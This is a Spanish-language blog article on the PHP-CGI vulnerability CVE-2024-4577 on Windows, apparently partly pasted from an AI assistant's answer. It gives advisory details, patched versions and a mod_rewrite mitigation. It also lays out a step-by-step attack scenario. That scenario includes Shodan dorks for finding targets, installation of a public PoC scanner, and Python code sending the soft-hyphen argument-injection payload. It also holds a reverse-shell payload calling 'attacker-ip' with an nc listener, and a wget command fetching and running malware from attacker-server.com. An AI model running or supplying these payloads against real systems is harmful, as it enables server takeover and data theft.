Vulnerabilidad CVE-2024-4577 y sus implicaciones:

Vulnerabilidad CVE-2024-4577 y sus implicaciones:

Spread the love
Listen to this article

Descripción de la Vulnerabilidad

  • Identificación: CVE-2024-4577
  • Afecta a: Todas las versiones de PHP en Windows, incluidas instalaciones predeterminadas de XAMPP.
  • Gravedad: Crítica, permite ejecución remota de código (RCE).

Descubrimiento y Naturaleza

  • Investigador: Orange Tsai de Devcore.
  • Error: Relacionado con la conversión de caracteres de Unicode a ASCII en la función ‘Best-Fit’ de Windows cuando PHP se usa en modo CGI.
  • Explotación: Utilizando un guion corto o hyphen (0xAD) en lugar de un guion normal (0x2D) en una petición POST, los atacantes pueden evadir el proceso de escape y ejecutar comandos arbitrarios en el servidor.

Impacto

  • Versiones Afectadas: PHP 5.x, 7.x y 8.x.
  • Configuraciones Vulnerables: Incluso si PHP no está en modo CGI, puede ser explotada si los ejecutables php.exe o php-cgi.exe están en directorios accesibles por el servidor web.
  • Entornos Vulnerables: XAMPP para Windows, especialmente bajo configuraciones regionales en chino tradicional, chino simplificado y japonés.

Detalles de la Explotación

  • Evasión de Protecciones: El error permite evadir protecciones anteriores (CVE-2012-1823).
  • Mecanismo: El mapeo ‘Best Fit’ de Unicode en PHP interpreta un guion suave (0xAD) como un guion real (0x2D), permitiendo a los atacantes introducir argumentos adicionales en la línea de comandos de PHP.
  • Inyección de Comandos: Ejemplo: -d allow_url_include=1 -d auto_prepend_file=php://input, facilitando la RCE a través de una solicitud HTTP manipulada.

Medidas de Mitigación y Actualizaciones

  • Parche Disponibles: Para versiones soportadas de PHP:
  • PHP 8.3.8
  • PHP 8.2.20
  • PHP 8.1.29
  • Para Sistemas No Actualizables Inmediatamente:
  • Implementar reglas de mod_rewrite para bloquear ataques:
    apache RewriteEngine On RewriteCond %{QUERY_STRING} ^%ad [NC] RewriteRule .? - [F,L]
  • Usuarios de XAMPP que no necesiten CGI deben comentar la directiva ‘ScriptAlias’ en el archivo de configuración de Apache.

Recomendaciones Adicionales

  • Migrar a Alternativas Más Seguras: Como FastCGI, PHP-FPM o Mod-PHP.
  • Revisar Configuraciones Regionales: Realizar evaluaciones exhaustivas para detectar posibles vulnerabilidades.

Conclusión

La vulnerabilidad CVE-2024-4577 es altamente crítica debido a su facilidad de explotación y el impacto potencial en servidores PHP en Windows. Es esencial la rápida implementación de parches y mitigaciones para proteger los sistemas contra ataques inminentes.

Más Información

Exploit CVE-2024-4577

Para entender y explicar en detalle la vulnerabilidad CVE-2024-4577 y su implementación, primero revisemos el contenido del archivo que has subido (README.md). Procederé a abrir y analizar el archivo.

Vamos a desglosar y explicar cada parte del archivo README.md sobre la vulnerabilidad CVE-2024-4577, y cómo implementar y entender esta vulnerabilidad en detalle.

1. Descripción General

CVE-2024-4577 PoC Exploit

  • Descripción: Este repositorio contiene una prueba de concepto (PoC) para la vulnerabilidad CVE-2024-4577, una falla crítica que afecta a todas las versiones de PHP en Windows, permitiendo a los atacantes ejecutar código arbitrario de forma remota. También afecta al entorno de desarrollo XAMPP en sistemas Windows.

2. Detalles de la Vulnerabilidad

  • Origen del Problema: La vulnerabilidad proviene de un error de inyección de argumentos debido a una corrección incompleta de una vulnerabilidad de 2012 (CVE-2012-1823). El equipo de desarrollo de PHP pasó por alto la función ‘Best-Fit’ de la conversión de codificación en Windows, permitiendo a los atacantes no autenticados evadir protecciones anteriores y ejecutar código arbitrario en servidores PHP remotos mediante un ataque de inyección de argumentos.

3. Escenarios de Explotación

  1. PHP en Modo CGI: Los atacantes pueden explotar esta vulnerabilidad directamente cuando PHP está configurado en modo CGI, comúnmente usado en configuraciones de servidores web.
  2. Binario PHP Expuesto en Directorio CGI (XAMPP): El modo predeterminado de XAMPP expone el binario PHP en el directorio CGI, haciéndolo vulnerable a la explotación.

4. Uso del PoC

Para utilizar la prueba de concepto (PoC) para esta vulnerabilidad, sigue los siguientes pasos:

  1. Instalación de la Herramienta:
   go install -v github.com/zomasec/CVE-2024-4577/cmd/CVE-2024-4577
  1. Uso de la Herramienta con las siguientes banderas:
   CVE-2024-4577 -l/-d <archivoDeHosts>/<host> -c <concurrencia> -timeout <tiempoDeEspera>
  • -l: Archivo que contiene una lista de hosts para escanear.
  • -d: Un solo host para escanear.
  • -c: Número de escaneos concurrentes (por defecto es 10).
  • -timeout: Tiempo de espera de la solicitud en segundos (por defecto es 5). Ejemplo:
   CVE-2024-4577 -l hosts.txt -c 20 -timeout 10
  1. Utilización de Dorks:
  • Hunter: header.server="PHP"
  • FOFA: server="PHP"
  • SHODAN: server: PHP os:Windows

Recursos Adicionales

  1. Tenable Blog – CVE-2024-4577 Prueba de Concepto Disponible
  2. Duo Decipher – Falla Crítica en PHP CVE-2024-4577 Corregida

Explicación Paso a Paso de la Vulnerabilidad

  1. Origen y Naturaleza del Error:
  • Función ‘Best-Fit’: Cuando PHP convierte caracteres de Unicode a ASCII, la función ‘Best-Fit’ de Windows puede interpretar ciertos caracteres de manera inadecuada, permitiendo la inyección de argumentos.
  • Guion Suave vs. Guion Normal: El uso de un guion suave (0xAD) en lugar de un guion normal (0x2D) permite a los atacantes eludir protecciones y ejecutar comandos.
  1. Método de Explotación:
  • Petición POST: Los atacantes pueden enviar una solicitud POST manipulada con el carácter de guion suave para evadir el proceso de escape y ejecutar comandos arbitrarios.
  • Argumentos Adicionales: Mediante esta técnica, pueden introducir argumentos como -d allow_url_include=1 -d auto_prepend_file=php://input que facilitan la ejecución de código remoto (RCE).
  1. Mitigaciones y Parches:
  • Parches Disponibles: Actualizar a las versiones PHP 8.3.8, 8.2.20 o 8.1.29.
  • Medidas Temporales: Implementar reglas de mod_rewrite en Apache para bloquear ataques o desactivar CGI en XAMPP.

Ejemplo de Implementación de la Explotación

  1. Instalación del PoC:
  • Clonar el repositorio y seguir las instrucciones de instalación usando go install.
  1. Ejecutar el PoC:
  • Configurar un archivo con una lista de hosts o especificar un host individual.
  • Ejecutar el comando con los parámetros deseados para escanear vulnerabilidades.
  1. Uso de Motores de Búsqueda (Dorks):
  • Utilizar los dorks proporcionados para identificar servidores PHP vulnerables en diversas plataformas de búsqueda de seguridad.

Este desglose debería ayudarte a comprender cómo funciona la vulnerabilidad CVE-2024-4577, cómo se puede explotar y las medidas que debes tomar para proteger tus sistemas. Si tienes más preguntas o necesitas más detalles sobre algún punto específico, házmelo saber.

Para mostrarte paso a paso cómo un atacante podría explotar la vulnerabilidad CVE-2024-4577 para acceder a una máquina y lo que podría hacer una vez dentro, seguiremos un escenario teórico basado en la información disponible. Este ejemplo es educativo y busca mostrar los posibles riesgos y cómo los atacantes podrían llevar a cabo un ataque. No debe usarse para propósitos maliciosos.

Escenario de Explotación

Preparativos del Atacante

  1. Identificar un Servidor Vulnerable
    El atacante debe identificar un servidor que ejecute una versión vulnerable de PHP en Windows.
  • Utilizando un motor de búsqueda como Shodan:
    sh shodan search 'server: PHP os:Windows'
  1. Instalar la Herramienta de Explotación
    El atacante necesita instalar la herramienta PoC que explota CVE-2024-4577.
  • Instalación de la herramienta:
    sh go install -v github.com/zomasec/CVE-2024-4577/cmd/CVE-2024-4577

Ejecución del Ataque

  1. Ejecutar el Escaneo para Encontrar Servidores Vulnerables
    El atacante usa la herramienta para escanear posibles objetivos.
  • Ejemplo de comando de escaneo:
    sh CVE-2024-4577 -l hosts.txt -c 20 -timeout 10
  1. Enviar la Petición Maliciosa
    El atacante envía una solicitud HTTP POST maliciosa que explota la vulnerabilidad.
  • Código de solicitud maliciosa en Python: import requests url = "http://vulnerable-server.com/php-cgi/php-cgi.exe" payload = { 'param': '\xad-d allow_url_include=1 -d auto_prepend_file=php://input' } headers = { 'Content-Type': 'application/x-www-form-urlencoded' } data = "<?php system('whoami'); ?>" response = requests.post(url, data=data, headers=headers, params=payload) print(response.text) Este código intenta ejecutar el comando whoami en el servidor vulnerable.

Acceso a la Máquina

  1. Confirmar la Ejecución de Código Remoto
    Si el servidor devuelve el nombre de usuario del sistema, significa que el ataque fue exitoso y el atacante puede ejecutar comandos arbitrarios.
  • Respuesta esperada:
    nt authority\system
  1. Ejecutar Comandos Maliciosos
    Ahora, el atacante puede ejecutar cualquier comando en el servidor comprometido.
  • Ejemplo de obtener una reverse shell: import requests url = "http://vulnerable-server.com/php-cgi/php-cgi.exe" payload = { 'param': '\xad-d allow_url_include=1 -d auto_prepend_file=php://input' } headers = { 'Content-Type': 'application/x-www-form-urlencoded' } data = """<?php $sock=fsockopen("attacker-ip",4444);exec("/bin/sh -i <&3 >&3 2>&3"); ?>""" response = requests.post(url, data=data, headers=headers, params=payload)
  • En la máquina del atacante, escuchar en el puerto 4444: nc -lvnp 4444 Si todo funciona correctamente, el atacante ahora tiene una shell interactiva en la máquina comprometida.

Potenciales Acciones Maliciosas

  1. Robo de Datos
    El atacante puede acceder a archivos sensibles y exfiltrar datos.
  • Ejemplo:
    sh cat /etc/passwd
  1. Instalación de Malware
    Instalar software malicioso para mantener el acceso o lanzar otros ataques.
  • Ejemplo:
    sh wget http://attacker-server.com/malware.sh -O /tmp/malware.sh sh /tmp/malware.sh
  1. Uso de la Máquina para Ataques Posteriores
    Usar la máquina comprometida como punto de partida para lanzar ataques a otras redes.

Medidas de Protección

  1. Actualizar PHP
    Instalar las versiones parcheadas de PHP (8.3.8, 8.2.20, 8.1.29).
  2. Reconfigurar el Servidor
    Implementar reglas de mod_rewrite en Apache para bloquear ataques:
   RewriteEngine On
   RewriteCond %{QUERY_STRING} ^%ad [NC]
   RewriteRule .? - [F,L]
  1. Desactivar CGI en XAMPP
    Comentar la directiva ScriptAlias en el archivo de configuración de Apache si CGI no es necesario.

Conclusión

Este escenario teórico muestra cómo un atacante podría explotar CVE-2024-4577 para obtener acceso a un servidor y ejecutar código arbitrario. Es fundamental tomar medidas proactivas para mitigar esta vulnerabilidad y proteger los sistemas contra posibles ataques.

0 0 votos
Article Rating
Suscribir
Notificar de
guest
0 Comments
Más antiguo
La mas nueva Más votado
Comentarios en línea
Ver todos los comentarios